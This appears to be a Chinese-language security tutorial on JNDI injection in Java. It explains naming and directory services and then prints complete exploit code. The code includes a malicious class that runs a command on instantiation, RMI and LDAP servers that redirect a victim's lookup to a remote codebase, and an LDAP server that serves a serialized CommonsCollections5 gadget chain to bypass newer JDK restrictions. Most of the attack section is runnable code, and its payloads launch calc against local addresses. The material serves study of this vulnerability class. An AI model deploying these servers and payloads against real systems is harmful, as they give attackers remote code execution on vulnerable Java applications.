JNDI
概述
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口。JNDI提供统一的客户端API,并由管理者将JNDI API映射为特定的命名服务和目录服务,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。简单来说,开发人员通过合理的使用JNDI,能够让用户通过统一的方式访问获取网络上的各种资源和服务。如下图所示

命名服务(Naming Server)
命名服务,简单来说,就是一种通过名称来查找实际对象的服务。比如我们的RMI协议,可以通过名称来查找并调用具体的远程对象。再比如我们的DNS协议,通过域名来查找具体的IP地址。这些都可以叫做命名服务。
在命名服务中,有几个重要的概念。
- Bindings:表示一个名称和对应对象的绑定关系,比如在在 DNS 中域名绑定到对应的 IP,在RMI中远程对象绑定到对应的name,文件系统中文件名绑定到对应的文件。
- Context:上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (SubContext)。
- References:在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。
目录服务(Directory Service)
简单来说,目录服务是命名服务的扩展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(Attributes)信息。由此,我们不仅可以根据名称去查找(Lookup)对象(并获取其对应属性),还可以根据属性值去搜索(Search)对象。
一些常见的目录服务有:
- LDAP: 轻型目录访问协议
- Active Directory: 为 Windows 域网络设计,包含多个目录服务,比如域名服务、证书服务等;
- 其他基于 X.500 (目录服务的标准) 实现的目录服务;
JNDI注入
lookup()
函数的访问地址参数控制不当,则有可能导致加载远程恶意类。JNDI接口可以调用多个含有远程功能的服务,所以我们的攻击方式也多种多样。但流程大同小异,如下图所示

JNDI+RMI
通过RMI进行JNDI注入,攻击者构造的恶意RMI服务器向客户端返回一个Reference
对象,Reference
对象中指定从远程加载构造的恶意Factory
类,客户端在进行lookup
的时候,会从远程动态加载攻击者构造的恶意Factory
类并实例化,攻击者可以在构造方法或者是静态代码等地方加入恶意代码。
javax.naming.Reference
构造方法为:Reference(String className, String factory, String factoryLocation)
,
className
- 远程加载时所使用的类名
classFactory
- 加载的class
中需要实例化类的名称
classFactoryLocation
- 提供classes
数据的地址可以是file/ftp/http
等协议
因为Reference
没有实现Remote
接口也没有继承UnicastRemoteObject
类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper
对Reference
的实例进行一个封装。
test.java
恶意代码(test.class),将其编译好放到可访问的http
服务下(python -m http.server)
1 2 3 4 5 6 7 8 9
| import java.io.IOException;
public class test { public test() throws IOException { Runtime.getRuntime().exec("calc"); } }
|
RMIServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIServer { public static void main(String[] args) throws Exception{ Registry registry= LocateRegistry.createRegistry(1099); Reference reference = new Reference("test", "test", "http://127.0.0.1:8000/"); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("calc", wrapper);
} }
|
JndiClient.java
客户端通过InitialContext().lookup("rmi://127.0.0.1:1099/calc")
获取远程对象时,会执行我们的恶意代码
1 2 3 4 5 6 7 8
| import javax.naming.InitialContext;
public class JndiClient { public static void main(String[]args) throws Exception{ new InitialContext().lookup("rmi://127.0.0.1:1099/calc"); } }
|

JNDI原理探索

跟进com.sun.jndi.rmi.registry.RegistryContext#decodeObject
,

这里将从服务端返回的com.sun.jndi.rmi.registry.ReferenceWrapper_Stub#getReference
返回Reference
对象

跟进javax.naming.spi.NamingManager#getObjectInstance
,此处为获取Factory
类的实例

跟进javax.naming.spi.NamingManager#getObjectFactoryFromReference
,此处clas = helper.loadClass(factoryName);
尝试从本地加载Factory
类
如果不存在本地不存在此类,则会从codebase
中加载:clas = helper.loadClass(factoryName, codebase);
会从远程加载我们恶意class,然后在return
那里return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
对我们的恶意类进行一个实例化,进而加载我们的恶意代码。

JNDI+LDAP
LDAP简介
LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。
也就是说,LDAP 「是一个协议」,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容。而 「LDAP 协议的实现」,有着众多版本,例如微软的 Active Directory 是 LDAP 在 Windows 上的实现。AD 实现了 LDAP 所需的树形数据库、具体如何解析请求数据并到数据库查询然后返回结果等功能。再例如 OpenLDAP 是可以运行在 Linux 上的 LDAP 协议的开源实现。而我们平常说的 LDAP Server,一般指的是安装并配置了 Active Directory、OpenLDAP 这些程序的服务器。
在LDAP中,我们是通过目录树来访问一条记录的,目录树的结构如下:
- dn :一条记录的详细位置
- dc :一条记录所属区域 (哪一颗树)
- ou :一条记录所属组织 (哪一个分支)
- cn/uid:一条记录的名字/ID (哪一个苹果名字)
- …
LDAP目录树的最顶部就是根,也就是所谓的“基准DN”
我们也可以使用LDAP服务来存储Java对象,如果我们此时能够控制JNDI去访问存储在LDAP中的Java恶意对象,那么就有可能达到攻击的目的。LDAP能够存储的Java对象如下:
- Java 序列化
- JNDI的References
- Marshalled对象
- Remote Location
Ldap依赖:
1 2 3 4 5 6
| <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1.1</version> <scope>test</scope> </dependency>
|
LDAP服务,代码改自marshalsec
JDK 6u132
, JDK 7u122
, JDK 8u113
中Java限制了通过RMI
远程加载Reference
工厂类,com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为了false
,即默认不允许通过RMI从远程的Codebase
加载Reference
工厂类
JNDI不仅可以从通过RMI加载远程的Reference工厂类,也可以通过LDAP协议加载远程的Reference工厂类,但是在之后的版本Java也对LDAP Reference远程加载Factory
类进行了限制,在JDK 11.0.1
、8u191
、7u201
、6u211
之后 com.sun.jndi.ldap.object.trustURLCodebase
属性的值默认为false
Jdk < 8u191
恶意代码(test.class),将其编译好放到可访问的http
服务下(python -m http.server)
1 2 3 4 5 6 7 8 9
| import java.io.IOException;
public class test { public test() throws IOException { Runtime.getRuntime().exec("calc"); } }
|
LDAPRefServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://127.0.0.1/#test"}; int port = 7777;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
JNDI_Test.java
1 2 3 4 5 6 7 8
| import javax.naming.InitialContext;
public class JNDI_Test { public static void main(String[] args) throws Exception{ Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc"); } }
|

Jdk >= 8u191
通过反序列
通过反序列,那么前提是客户端得有可用的Gadgets
LDAPServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114
| import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.InetAddress; import java.net.URL; import java.util.HashMap; import java.util.Map;
public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) throws Exception{ String[] args=new String[]{"http://192.168.43.88/#test"}; int port = 6666;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); }
e.addAttribute("javaSerializedData",CommonsCollections5());
result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } }
private static byte[] CommonsCollections5() throws Exception{ Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) };
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map map=new HashMap(); Map lazyMap=LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test"); BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null); Field field=badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException,tiedMapEntry);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(badAttributeValueExpException); objectOutputStream.close();
return byteArrayOutputStream.toByteArray(); }
}
|
JNDI_Test.java
1 2 3 4 5 6 7 8
| import javax.naming.InitialContext;
public class JNDI_Test { public static void main(String[] args) throws Exception{ Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc"); } }
|
test.class放http服务下
1 2 3 4 5 6 7
| import java.io.IOException;
public class test { public test() throws IOException { Runtime.getRuntime().exec("calc"); } }
|
